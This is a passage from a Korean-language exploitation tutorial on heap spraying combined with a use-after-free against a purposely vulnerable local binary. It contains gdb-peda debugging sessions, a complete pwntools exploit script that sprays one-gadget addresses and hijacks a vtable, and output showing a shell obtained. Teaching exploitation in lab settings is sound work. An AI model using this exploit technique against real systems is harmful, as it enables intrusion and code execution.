<+92>: movsxd rdx,eax 0x0000000000400a35 <+95>: mov rax,QWORD PTR [rbp-0x10] 0x0000000000400a39 <+99>: mov rsi,rax 0x0000000000400a3c <+102>: mov edi,0x0 0x0000000000400a41 <+107>: call 0x400840 <read@plt> 0x0000000000400a46 <+112>: nop 0x0000000000400a47 <+113>: mov rax,QWORD PTR [rbp-0x8] 0x0000000000400a4b <+117>: xor rax,QWORD PTR fs:0x28 0x0000000000400a54 <+126>: je 0x400a5b <_Z9heapSprayv+133> 0x0000000000400a56 <+128>: call 0x400880 <__stack_chk_fail@plt> 0x0000000000400a5b <+133>: leave 0x0000000000400a5c <+134>: ret End of assembler dump. gdb-peda$ b *0x0000000000400a26 Breakpoint 3 at 0x400a26 gdb-peda$ b *0x0000000000400a41 Breakpoint 4 at 0x400a41 gdb-peda$
- 다음 코드 부분은 앞에서 설명한 Sample code와 동일합니다.
- 즉, 해당 코드에서 Heap spray가 가능합니다.
- 그리고 아래에서는 스크립트가 아닌 터미널에서 값을 직접 입력하여 값이 메모리에 문자형으로 저장되어 있기 때문에 숫자형으로 변경이 필요합니다.
gdb-peda$ r Starting program: /home/lazenca0x0/Exploit/HeapSpray/heapspray Printf() address : 0x7ffff74dc800 Heap spray! Input size: 100 Input contents: Breakpoint 3, 0x0000000000400a26 in heapSpray() () gdb-peda$ i r rdi rdi 0xa303031 0xa303031 gdb-peda$ set $rdi = 100 gdb-peda$ ni 0x0000000000400a2b in heapSpray() () gdb-peda$ i r rax rax 0x615030 0x615030 gdb-peda$ c Continuing. Breakpoint 4, 0x0000000000400a41 in heapSpray() () gdb-peda$ c Continuing. AAAA Will you keep typing?(No:0): 0 Create vtable 100
- 다음과 같이 UAF 클래스를 생성되면 Heap 영역에 공간을 할당받습니다.
- 할당 받은 Heap 영역에 UAF클래스에 대한 VTable 정보가 저장되어 있습니다.
Breakpoint 1, 0x0000000000400b42 in main () gdb-peda$ i r rsi rsi 0x7fffffffe3e0 0x7fffffffe3e0 gdb-peda$ x/gx 0x7fffffffe3e0 0x7fffffffe3e0: 0x000000000a303031 gdb-peda$ set *0x7fffffffe3e0 = 0x64 gdb-peda$ ni 0x0000000000400b47 in main () gdb-peda$ i r rax rax 0x6150a8 0x6150a8 gdb-peda$ i r rbx rbx 0x6150a0 0x6150a0 gdb-peda$ x/4gx 0x0000000000400d40 0x400d40 <_ZTV3UAF+16>: 0x0000000000400bf2 0x00000000006020a0 0x400d50 <_ZTI3UAF+8>: 0x0000000000400d58 0x0000000046415533 gdb-peda$ x/10i 0x0000000000400bf2 x <_ZN3UAF6targetEv>: push rbp 0x400bf3 <_ZN3UAF6targetEv+1>: mov rbp,rsp 0x400bf6 <_ZN3UAF6targetEv+4>: sub rsp,0x10 0x400bfa <_ZN3UAF6targetEv+8>: mov QWORD PTR [rbp-0x8],rdi 0x400bfe <_ZN3UAF6targetEv+12>: mov rax,QWORD PTR [rbp-0x8] 0x400c02 <_ZN3UAF6targetEv+16>: add rax,0x8 0x400c06 <_ZN3UAF6targetEv+20>: mov rdi,rax 0x400c09 <_ZN3UAF6targetEv+23>: call 0x400860 <strlen@plt> 0x400c0e <_ZN3UAF6targetEv+28>: mov rdx,rax 0x400c11 <_ZN3UAF6targetEv+31>: mov rax,QWORD PTR [rbp-0x8] gdb-peda$ c Continuing.
- 다음과 같이 UAF 취약성이 발생합니다.
- UAF 클래스가 삭제 후 HeapSpray() 함수를 이용하여 UAF 클래스와 동일한 크기의 heap 영역을 할당 받으면 UAF 취약성이 발생하게 됩니다.
- 즉, 해당 취약성을 이용하여 shell을 획득 할 수 있습니다.
- Heap spray를 이용해 Heap 영역을 One Gadget 주소로 채웁니다.
- 그리고 UAF 취약성으로 할당 받은 영역에 Heap spray된 heap 주소를 유추하여 저장합니다.
- 이로 인해 "uaf→target()" 코드는 heap spray된 영역에 저장된 One gadget 주소를 target() 함수의 시작 주소로 판단하고 실행합니다.
Breakpoint 2, 0x0000000000400b58 in main () gdb-peda$ i r rdi rdi 0x6150a0 0x6150a0 gdb-peda$ c Continuing. UAF! Input size: 100 Input contents: Breakpoint 3, 0x0000000000400a26 in heapSpray() () gdb-peda$ i r rdi rdi 0xa303031 0xa303031 gdb-peda$ set $rdi = 100 gdb-peda$ ni 0x0000000000400a2b in heapSpray() () gdb-peda$ i r rax rax 0x6150a0 0x6150a0 gdb-peda$ x/10gx 0x6150a0 0x6150a0: 0x0000000000400d40 0x0000000000000000 0x6150b0: 0x0000000000000000 0x0000000000000000 0x6150c0: 0x0000000000000000 0x0000000000000000 0x6150d0: 0x0000000000000000 0x0000000000000000 0x6150e0: 0x0000000000000000 0x0000000000000000 gdb-peda$ c Continuing. Breakpoint 4, 0x0000000000400a41 in heapSpray() () gdb-peda$ i r rdi rdi 0x0 0x0 gdb-peda$ i r rsi rsi 0x6150a0 0x6150a0 gdb-peda$ ni AAAABBBB 0x0000000000400a46 in heapSpray() () gdb-peda$ x/10gx 0x6150a0 0x6150a0: 0x4242424241414141 0x000000000000000a 0x6150b0: 0x0000000000000000 0x0000000000000000 0x6150c0: 0x0000000000000000 0x0000000000000000 0x6150d0: 0x0000000000000000 0x0000000000000000 0x6150e0: 0x0000000000000000 0x0000000000000000 gdb-peda$
Exploit code
from pwn import * #context.log_level = 'debug' startBrk = 0x602000 spraySize = 0x10000 sprayRange = 0x5000000 sprayCount = sprayRange /spraySize targetOffset = 0x400 target = startBrk + sprayRange + targetOffset p = process('./heapspray') #sleep(20) p.recvuntil("Printf() address : ") libcAddr = p.recvuntil('\n') libcAddr = int(libcAddr,16) libcBase = libcAddr - 0x55800 oneGadget = libcBase + 0xf02a4 log.info('target : '+hex(target)) log.info('libcBase Addr : '+hex(libcBase)) log.info('oneGadget Addr : '+hex(oneGadget)) for i in xrange(sprayCount): size = spraySize - 0x10 p.recvuntil("Input size:\n") p.send(p32(size)) p.recvuntil("Input contents:\n") buf = p64(oneGadget) * (size // 8) buf += 'A' * (size-len(buf)) p.send(buf) p.recvuntil("Will you keep typing?(No:0):\n") if i == sprayCount-1: print "Finished Heap spray!\n" p.sendline(str(0)) else: p.sendline(str(1)) p.recvuntil("Create vtable\n") p.send("Hello Heap spray & UAF") p.recvuntil("Input size:\n") p.send(p32(160)) p.recvuntil("Input contents:\n") buf = p64(target) * (160 // 8) buf += 'C' * (160-len(buf)) p.send(buf) p.interactive()
lazenca0x0@ubuntu:~/Exploit/11.Heap Spray$ python exploit.py [+] Starting local process './heapspray': pid 25405 [*] target : 0x5602400 [*] libcBase Addr : 0x7fc228a49000 [*] oneGadget Addr : 0x7fc228b392a4 Finished Heap spray! [*] Switching to interactive mode $ id uid=1000(lazenca0x0) gid=1000(lazenca0x0) groups=1000(lazenca0x0),4(adm),24(cdrom),27(sudo),30(dip),46(plugdev),113(lpadmin),128(sambashare) $
References
- https://en.wikipedia.org/wiki/Heap_spraying
- http://index-of.co.uk/Reverse-Engineering/Heap%20Spray%20%5Bforce%5D.pdf
- http://inaz2.hatenablog.com/entry/2015/03/02/014252
- http://pjongy.tistory.com/132
- http://truthtilltheend.tistory.com/entry/%ED%9E%99-%EC%8A%A4%ED%94%84%EB%A0%88%EC%9D%B4Heap-Spray-%EA%B8%B0%EB%B2%95
- http://hackability.kr/entry/%EC%9D%B5%EC%8A%A4%ED%94%8C%EB%A1%9C%EC%9E%87-%EA%B0%9C%EB%B0%9C-11-Exploitme5-%ED%9E%99-%EC%8A%A4%ED%94%84%EB%A0%88%EC%9E%89-UAF